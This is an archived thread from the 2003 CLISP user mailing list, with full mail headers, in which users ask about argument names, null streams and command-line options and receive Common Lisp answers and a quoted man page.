esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19tbo0-0005kH-00 for ; Sun, 31 Aug 2003 16:40:24 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19tbnz-0004OC-Vl for clisp-list@lists.sourceforge.net; Sun, 31 Aug 2003 16:40:24 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19tboa-0000d0-00 for ; Mon, 01 Sep 2003 01:41:00 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19tboZ-0000cs-00 for ; Mon, 01 Sep 2003 01:40:59 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19tbnx-0005Kk-00 for ; Mon, 01 Sep 2003 01:40:21 +0200 From: Sam Steingold Organization: disorganization Lines: 22 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > * In message > * On the subject of "Arglists." > * Sent on Sun, 31 Aug 2003 23:59:54 +0200 > * Honorable Johannes Groedem writes: > > I'm curious if there is something I can do (e.g. a build-option or > whatever) to get CLISP to give me names of required arguments to > functions. Key-arguments and optional arguments of compiled functions > are named, but required arguments show up as arg0, arg1, etc. [...] Content analysis details: (-1.50 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: Arglists. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 31 16:41:02 2003 X-Original-Date: 31 Aug 2003 19:40:21 -0400 > * In message > * On the subject of "Arglists." > * Sent on Sun, 31 Aug 2003 23:59:54 +0200 > * Honorable Johannes Groedem writes: > > I'm curious if there is something I can do (e.g. a build-option or > whatever) to get CLISP to give me names of required arguments to > functions. Key-arguments and optional arguments of compiled functions > are named, but required arguments show up as arg0, arg1, etc. CLISP does not keep this information. It only knows the number of required and optional arguments, not the lists of names. keeping the names would require much work for little (IMO) gain, but you are, of course, welcome to work on this (although I think the time is better spent on other projects). -- Sam Steingold (http://www.podval.org/~sds) running w2k In C you can make mistakes, while in C++ you can also inherit them! From phalgune@jasper01.CS.ORST.EDU Mon Sep 01 16:08:29 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19txmf-0004dh-00 for ; Mon, 01 Sep 2003 16:08:29 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19txme-0005th-DQ for clisp-list@lists.sourceforge.net; Mon, 01 Sep 2003 16:08:28 -0700 Received: from jasper01.CS.ORST.EDU (jasper01.CS.ORST.EDU [128.193.39.108]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h81N88aD002019; Mon, 1 Sep 2003 16:08:08 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper01.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h81N88wv015168; Mon, 1 Sep 2003 16:08:08 -0700 (PDT) From: amit phalgune To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: I am trying to do the following in CLISP , Windows : (defvar $jvStream *null-stream*) I get the following error. *** - EVAL: variable *NULL-STREAM* has no value. [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] Null -stream. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 1 16:09:04 2003 X-Original-Date: Mon, 1 Sep 2003 16:08:08 -0700 (PDT) I am trying to do the following in CLISP , Windows : (defvar $jvStream *null-stream*) I get the following error. *** - EVAL: variable *NULL-STREAM* has no value. Can anyone please help ! Amit From ampy@ich.dvo.ru Mon Sep 01 17:35:04 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19tz8S-00063x-00 for ; Mon, 01 Sep 2003 17:35:04 -0700 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.22) id 19tz8M-00029W-8e for clisp-list@lists.sourceforge.net; Mon, 01 Sep 2003 17:35:02 -0700 Received: from lorenz ([192.168.8.90]) by chemi.ich.dvo.ru (8.12.3/8.12.3/SuSE Linux 0.6) with ESMTP id h820YVUb012714; Tue, 2 Sep 2003 11:34:31 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.60q) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1857346968.20030902113423@ich.dvo.ru> To: amit phalgune CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Null -stream. In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -2.0 (--) X-Spam-Report: -2.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hello amit, Tuesday, September 2, 2003, 10:08:08 AM, you wrote: amit> I am trying to do the following in CLISP , Windows : amit> (defvar $jvStream *null-stream*) amit> I get the following error. amit> *** - EVAL: variable *NULL-STREAM* has no value. [...] Content analysis details: (-2.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 1 17:36:02 2003 X-Original-Date: Tue, 2 Sep 2003 11:34:23 +1100 Hello amit, Tuesday, September 2, 2003, 10:08:08 AM, you wrote: amit> I am trying to do the following in CLISP , Windows : amit> (defvar $jvStream *null-stream*) amit> I get the following error. amit> *** - EVAL: variable *NULL-STREAM* has no value. Why it should ? There's no *NULL-STREAM* mention in HyperSpec nor in impnotes. But I believe (open "nul" :direction :output) makes what do you want on Windows. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From phalgune@jasper02.CS.ORST.EDU Mon Sep 01 20:02:13 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19u1Qq-0001wq-00 for ; Mon, 01 Sep 2003 20:02:13 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19u1Qq-0004Fd-GU for clisp-list@lists.sourceforge.net; Mon, 01 Sep 2003 20:02:12 -0700 Received: from jasper02.CS.ORST.EDU (jasper02.CS.ORST.EDU [128.193.39.109]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h822xdaD018577; Mon, 1 Sep 2003 19:59:39 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper02.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h822xdr4012907; Mon, 1 Sep 2003 19:59:39 -0700 (PDT) From: amit phalgune To: Arseny Slobodjuck cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Null -stream. In-Reply-To: <1857346968.20030902113423@ich.dvo.ru> Message-ID: References: <1857346968.20030902113423@ich.dvo.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, Ya , I could figure out that there is no NULL-STREAM. But I was looking for a corresponding expression in CLISP.. Amit On Tue, 2 Sep 2003, Arseny Slobodjuck wrote: > Hello amit, > > Tuesday, September 2, 2003, 10:08:08 AM, you wrote: > > amit> I am trying to do the following in CLISP , Windows : > amit> (defvar $jvStream *null-stream*) > amit> I get the following error. > amit> *** - EVAL: variable *NULL-STREAM* has no value. > > Why it should ? There's no *NULL-STREAM* mention in HyperSpec nor in > impnotes. But I believe (open "nul" :direction :output) makes what do > you want on Windows. > > -- > Best regards, > Arseny mailto:ampy@ich.dvo.ru > > > > > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 1 20:03:02 2003 X-Original-Date: Mon, 1 Sep 2003 19:59:39 -0700 (PDT) Hi, Ya , I could figure out that there is no NULL-STREAM. But I was looking for a corresponding expression in CLISP.. Amit On Tue, 2 Sep 2003, Arseny Slobodjuck wrote: > Hello amit, > > Tuesday, September 2, 2003, 10:08:08 AM, you wrote: > > amit> I am trying to do the following in CLISP , Windows : > amit> (defvar $jvStream *null-stream*) > amit> I get the following error. > amit> *** - EVAL: variable *NULL-STREAM* has no value. > > Why it should ? There's no *NULL-STREAM* mention in HyperSpec nor in > impnotes. But I believe (open "nul" :direction :output) makes what do > you want on Windows. > > -- > Best regards, > Arseny mailto:ampy@ich.dvo.ru > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From lisp-clisp-list@m.gmane.org Mon Sep 01 21:54:05 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19u3B7-00036V-00 for ; Mon, 01 Sep 2003 21:54:05 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19u3B6-00073b-Ma for clisp-list@lists.sourceforge.net; Mon, 01 Sep 2003 21:54:04 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19u3Bc-0005by-00 for ; Tue, 02 Sep 2003 06:54:36 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19u3Bb-0005bq-00 for ; Tue, 02 Sep 2003 06:54:35 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19u3B1-00049u-00 for ; Tue, 02 Sep 2003 06:53:59 +0200 From: Sam Steingold Organization: disorganization Lines: 17 Message-ID: References: <1857346968.20030902113423@ich.dvo.ru> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > * In message > * On the subject of "Re: Null -stream." > * Sent on Mon, 1 Sep 2003 19:59:39 -0700 (PDT) > * Honorable amit phalgune writes: > > Ya , I could figure out that there is no NULL-STREAM. But I was looking > for a corresponding expression in CLISP.. [...] Content analysis details: (-1.50 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: Null -stream. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 1 21:55:02 2003 X-Original-Date: 02 Sep 2003 00:54:01 -0400 > * In message > * On the subject of "Re: Null -stream." > * Sent on Mon, 1 Sep 2003 19:59:39 -0700 (PDT) > * Honorable amit phalgune writes: > > Ya , I could figure out that there is no NULL-STREAM. But I was looking > for a corresponding expression in CLISP.. (make-two-way-stream (make-concatenated-stream) (make-broadcast-stream)) -- Sam Steingold (http://www.podval.org/~sds) running w2k Isn't "Microsoft Works" an advertisement lie? From phalgune@jasper03.CS.ORST.EDU Mon Sep 01 22:39:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19u3ss-0000v6-00 for ; Mon, 01 Sep 2003 22:39:18 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19u3ss-0007eJ-8o for clisp-list@lists.sourceforge.net; Mon, 01 Sep 2003 22:39:18 -0700 Received: from jasper03.CS.ORST.EDU (jasper03.CS.ORST.EDU [128.193.39.110]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h825d0aD000990; Mon, 1 Sep 2003 22:39:01 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper03.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h825cxhV014155; Mon, 1 Sep 2003 22:38:59 -0700 (PDT) From: amit phalgune To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: <1857346968.20030902113423@ich.dvo.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi guys, Sorry for bothering you guys a lot. I tried to go through the socumentation of command line options for CLISP and could not find anything useful. e.g : in CMUCL we have a -noinit , -load and -eval options. [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] CLISP command line options. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 1 22:40:04 2003 X-Original-Date: Mon, 1 Sep 2003 22:38:59 -0700 (PDT) Hi guys, Sorry for bothering you guys a lot. I tried to go through the socumentation of command line options for CLISP and could not find anything useful. e.g : in CMUCL we have a -noinit , -load and -eval options. Does CLISP have similar command line options ? Can anyone provide me with the link or document. I am particuarly interested in the -noinit, -load and -eval options using CLISP Thanks Amit From pascal@informatimago.com Mon Sep 01 23:51:20 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19u50a-0003gd-00 for ; Mon, 01 Sep 2003 23:51:20 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19u50X-0002wz-Me for clisp-list@lists.sourceforge.net; Mon, 01 Sep 2003 23:51:19 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id A3EC1B6627; Tue, 2 Sep 2003 08:50:55 +0200 (CEST) Message-ID: <16212.15823.626960.964306@thalassa.informatimago.com> To: amit phalgune Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Null -stream. In-Reply-To: References: <1857346968.20030902113423@ich.dvo.ru> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: amit phalgune writes: > Hi, > Ya , I could figure out that there is no NULL-STREAM. But I was looking > for a corresponding expression in CLISP.. > Amit In Common-Lisp, for output, you could use a broadcast stream with no attached output stream: [...] Content analysis details: (-2.60 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 1 23:52:03 2003 X-Original-Date: Tue, 2 Sep 2003 08:50:55 +0200 amit phalgune writes: > Hi, > Ya , I could figure out that there is no NULL-STREAM. But I was looking > for a corresponding expression in CLISP.. > Amit In Common-Lisp, for output, you could use a broadcast stream with no attached output stream: (defvar *null-stream-output* (make-broadcast-stream)) For input, you could use a string stream on an empty string: (defvar *null-stream-input* (make-string-input-stream "")) And of course, if you need an input/output stream, you can join both: (defvar *null-stream* (make-two-way-stream=20 (make-string-input-stream "") (make-broadcast-stream))) (dotimes (n 10) (print "Hello" *null-stream*) (listen *null-stream*)) --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From pascal@informatimago.com Mon Sep 01 23:54:26 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19u53a-0004VC-00 for ; Mon, 01 Sep 2003 23:54:26 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19u53V-0003mJ-6G for clisp-list@lists.sourceforge.net; Mon, 01 Sep 2003 23:54:21 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id F40F6B6629; Tue, 2 Sep 2003 08:53:42 +0200 (CEST) Message-ID: <16212.15990.940794.526741@thalassa.informatimago.com> To: amit phalgune Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] CLISP command line options. In-Reply-To: References: <1857346968.20030902113423@ich.dvo.ru> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: amit phalgune writes: > Hi guys, > Sorry for bothering you guys a lot. > I tried to go through the socumentation of command line options for CLISP > and could not find anything useful. > e.g : in CMUCL we have a -noinit , -load and -eval options. > > Does CLISP have similar command line options ? > Can anyone provide me with the link or document. I am particuarly > interested in the -noinit, -load and -eval options using CLISP [...] Content analysis details: (-2.60 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 1 23:55:19 2003 X-Original-Date: Tue, 2 Sep 2003 08:53:42 +0200 amit phalgune writes: > Hi guys, > Sorry for bothering you guys a lot. > I tried to go through the socumentation of command line options for CL= ISP > and could not find anything useful. > e.g : in CMUCL we have a -noinit , -load and -eval options. >=20 > Does CLISP have similar command line options ? > Can anyone provide me with the link or document. I am particuarly > interested in the -noinit, -load and -eval options using CLISP Of course it has: man clisp CLISP(1) CLISP(1) NAME clisp - Common Lisp language interpreter and compiler SYNOPSIS clisp [ -h | --help ] [ --version ] [ --license ] [ -B lisplibdir ] [ -K linking-set ] [ -M memfile ] [ -m mem=AD size ] [ -L language ] [ -N localedir ] [ -Edomain encod=AD ing ] [ -q | --quiet | --silent ] [ -w ] [ -I ] [ -a ] [ -p packagename ] [ -C ] [ -norc ] [ -i initfile ... ] [ -c [ -l ] lispfile [ -o outputfile ] ... ] [ -x expres=AD sion ] [ lispfile [ argument ] ] DESCRIPTION Invokes the common lisp interpreter and compiler. Invoked without arguments, executes a read-eval-print loop, in which expressions are in turn read from standard input, evaluated by the lisp interpreter, and their results out=AD put to standard output. Invoked with -c, the specified lisp files are compiled to a bytecode that can be executed more efficiently. OPTIONS -h, --help Displays a help message on how to use clisp. --version Displays the clisp version number, as given by the function call (lisp-implementation-version). --license Displays a summary of the licensing information, the GNU GPL. -B lisplibdir Specifies the installation directory. This is the directory containing the linking sets and other data files. This option is normally not necessary, because the installation directory is already built-in in the clisp executable. -K linking-set Specifies the linking set to be run. This is a directory containing at least a main executable and an initial memory image. Possible values are base, full, and fullnox. The default is base. -M memfile Specifies the initial memory image. This must be a memory dump produced by the saveinitmem function. It may have been compressed using GNU gzip. -m memsize Sets the amount of memory clisp tries to grab on startup. The amount may be given as nnnnnnn (mea=AD sured in bytes), nnnnK or nnnnKB (measured in kilo=AD bytes) or nM or nMB (measured in megabytes). Default is 2 megabytes. The argument is con=AD strained above 100 KB. -- This version of clisp is not likely to actually use the entire memsize since garbage collection will periodically reduce the amount of used memory. It is therefore common to specify 10 MB even if only 2 MB are going to be used. -L language Specifies the language clisp uses to communicate with the user. This may be english, deutsch, fran=AD cais, espanol. Other languages may be specified through the environment variable LANG, provided the corresponding message catalog is installed. -N localedir Specifies the base directory of locale files. clisp will search its message catalogs in localedir/language/LC_MESSAGES/clisp.mo. -Edomain encoding Specifies the encoding used for a given domain, overriding the default which depends on the envi=AD ronment variables LC_ALL, LC_CTYPE, LANG. domain can be file, affecting *default-file-encoding*, or pathname, affecting *pathname-encoding*, or termi=AD nal, affecting *terminal-encoding*, or foreign, affecting *foreign-encoding*, or misc, affecting *misc-encoding*. -q, --quiet, --silent Quiet: clisp displays no banner at startup and no good-bye message when quitting. -w Wait for keypress after program termination. -I Be ILISP friendly. ILISP is an alternative Emacs interface to Common Lisp systems. With this option, clisp interacts in a way that ILISP can deal with. Currently the only effect of this is that unneces=AD sary prompts are not suppressed. Furthermore, the GNU readline library treats Tab as a normal self- inserting character. -a ANSI CL compliant: Comply with the ANSI CL specifi=AD cation even on those issues where ANSI CL is bro=AD ken. This option is provided for maximum portabil=AD ity of Lisp programs, and is not useful for actual everyday work. It sets the variable *package* to COMMON-LISP-USER, and the symbol macro *ansi* to t. See impnotes.html, section "Maximum ANSI CL compli=AD ance", for details. -p packagename At startup the value of the variable *package* will be set to the package named packagename. The default is the package which was active when the image was saved, normally USER, or COMMON-LISP-USER if the option -a was specified. -C Compile when load: At startup the value of the variable *load-compiling* will be set to t. Code being loaded will then be compiled on the fly. This results in slower loading, but faster execution. -norc Normally clisp loads a user run control (RC) file on startup (this happens after the -C option is processed). The file loaded is ${HOME}/.clisprc.lisp or ${HOME}/.clisprc.fas, whichever is newest. This option, -norc, prevents loading of the RC file. -i initfile ... Specifies initialization files to be loaded at startup. These should be lisp files (source or com=AD piled). Several -i options can be given; all the specified files will be loaded in order. -c lispfile ... Compiles the specified lispfiles to bytecode (*.fas). The compiled files can then be loaded instead of the sources to gain efficiency. -o outputfile Specifies the output file or directory for the com=AD pilation of the last specified lispfile. -l A bytecode listing (*.lis) of the files being com=AD piled will be produced. Useful only for debugging purposes. See the documentation of compile-file for details. -x expressions Executes a series of arbitrary expressions instead of a read-eval-print loop. The values of the expressions will be output to standard output. Due to the argument processing done by the shell, the expressions must be enclosed in double quotes, and double quotes and backslashes must be preceded by backslashes. lispfile [argument ...] Loads and executes a lispfile. There will be no read-eval-print loop. Before lispfile is loaded, the variable *args* will be bound to a list of strings, representing the arguments. The first line of lispfile may start with #!, thus permitting clisp to be used as a script interpreter. If lisp=AD file is -, the standard input is used instead of a file. This option must be the last one. No RC file will be executed. REFERENCE The language implemented mostly conforms to ANSI Common Lisp standard X3.226-1994 http://www.x3.org/tc_home/j13sd4.htm available online as the Common Lisp HyperSpec http://www.lisp.org/HyperSpec/ ("CLHS" for short) which supersedes the earlier specifications Guy L. Steele Jr.: Common Lisp - The Language. Digital Press. 2nd edition 1990, 1032 pages. 